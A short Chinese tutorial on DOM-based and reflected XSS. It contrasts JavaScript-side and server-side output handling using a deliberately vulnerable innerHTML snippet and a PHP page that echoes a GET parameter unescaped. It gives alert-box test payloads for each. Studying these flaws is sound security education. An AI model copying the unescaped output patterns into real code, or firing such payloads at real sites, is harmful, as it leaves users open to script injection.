Dom XSS攻击
关于xss攻击的分类可以参考以前的文章:xss分类,
注意:对于DOM XSS类型的攻击与反射性的区别在于:DOM XSS是javascript处理输出, 而反射性xss是后台程序处理。
示例与pyload如下, DOM XSS直接通过javascript执行,程序并不会返回后台进行处理
<script>
function test() {
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "<a href='"+str+"' >testLink</a>";
}
</script>
<div id="t" ></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
对应的pyload为:
' onclick=alert(/xss/) //
点击后需要点击超链接才能弹出;'><img src=# onerror=alert(/xss/) /><'
反射型的XSS:
反射型的xss是需要将请求提交到后台,由后台程序执行返回javascript语言后
,出现漏洞,如下
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
对应的攻击payload:
<script>alert('1')</script>